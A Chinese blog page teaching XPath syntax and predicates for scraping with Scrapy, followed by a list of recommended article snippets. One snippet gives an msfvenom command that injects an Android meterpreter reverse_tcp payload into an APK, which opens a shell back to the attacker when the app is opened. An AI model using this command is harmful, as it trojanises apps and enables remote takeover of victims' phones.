什么是xpath?

  1. 路径表达式 在xml和html中进行导航
  2. 包含标准函数库
  3. 遵循w3c标准

xpth节点关系是什么?

  1. 父节点
  2. 子节点
  3. 兄弟节点
  4. 先辈节点
  5. 后代节点

xpth语法

  1. a                找所有a标签
  2. / article             找根元素article标签
  3. article/a               找所有属于article子标签的a标签
  4. //div                    找根层级 下 所有div标签
  5. article//div          找article标签 下 所有div标签
  6. //@class             去所有标签中class属性值,src,href,id等属性
  7. a/@href              取所有a标签中href属性

xpath-谓法

  1. /article/div[1]                          找article 子标签 的第一个div标签
  2. /article/div[last()]                   找article目录下倒数一个div标签
  3. /article/div[last()-1]               找article目录下倒数第二个div标签
  4. //div[@lang]                                找所有拥有lang属性的div标签
  5. //div[@lang=’eng’]               找所有lang=’eng 的div标签
  6. /div/*                                           div标签下所有子标签
  7. //*                                                提取所有元素
  8. //div[@*]                                    提取div中有属性的标签
  9. /div/a | /div/p                            提取div下所有a和p标签

如何获取抓取节点的值?

/text()                   获得文本值

a['href']                获取一个a节点的href属性值

  xpath返回的对象可以继续xpath进行筛选

  .extract()         返回data对应的数组值列表

对有多个属性的标签如何抓取?

[contains(@属性,属性值) ]

scrapy_xpath的更多相关文章

随机推荐

  1. IE iframe cookie问题(p3p)

    IE iframe cookie问题(p3p) 前段时间碰到一个问题,就是在IE下,使用iFrame嵌入页面时,该页面的会话级别的cookie无法写入,导致服务端始终无法获取JSESSIONID,每次 ...

  2. chrome调试工具高级不完整使用指南(实战一)

    三.chrome调试工具实战 3.1 获取界面对应的HTML和修改样式 我们以博客园为例子来分析. 通过上面的操作就可以定位到对应的HTML代码 左侧菜单显示的就是当前指定元素层叠样式的一个情况 上面 ...

  3. Java学习笔记15(面向对象八:匿名对象、内部类)

    匿名对象: 是指创建对象的时候,只有创建对象的语句,却没有把对象地址值赋给某个变量 创建一个普通对象: Person p = new Person(); 创建一个匿名对象: new Person(); ...

  4. cassandra的gc调优

    我们用的是cassandra3.7官方的docker镜像,在生产环境发现有一个小时一次停顿的现象.我猜测是java gc的原因,于是看了cassandra的gc日志,果然发现有每小时长达300ms-2 ...

  5. H5 调用手机摄像机、相册功能

    <input type="file" accept="image/*" capture="camera"> <input ...

  6. js中var,let,const理解

    var变量提升: 解释:在声明a之前输出a,因为a是使用var声明变量得到提升,解释为下句 var a: console.log(a) a = 1; var声明会提到最上面的位置,但是赋值的位置还是当 ...

  7. 开发高性能JAVA应用程序基础(内存篇)

    虽然Java的垃圾回收和当前高配置的服务器可以让程序员大部分时间忘掉OutOfMemoryError的存在,但是访问量增大后频繁的GC会额外消耗CPU (使用top查看结果为us值高),系统响应速度下 ...

  8. msf向存在漏洞的apk注入payload

    命令:msfvenom -x /路径/apk -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 只要别人一打开这个被注入payload后的软件就 ...

  9. go golang 判断base64数据 获取随机字符串 截取字符串

    go golang 判断base64数据 获取随机字符串 截取字符串 先少写点,占个坑,以后接着加. 1,获取指定长度随机字符串 func RandomDigits(length int) strin ...

  10. [译]Dapper教程

    脑子里突然浮现出一个想法:尝试翻译一些技术文档.说干就干,先来翻译个最近经常查阅的Dapper教程,有兴趣的园友可以一起参与进来 dapper-tutorial-cn. 什么是Dapper Dappe ...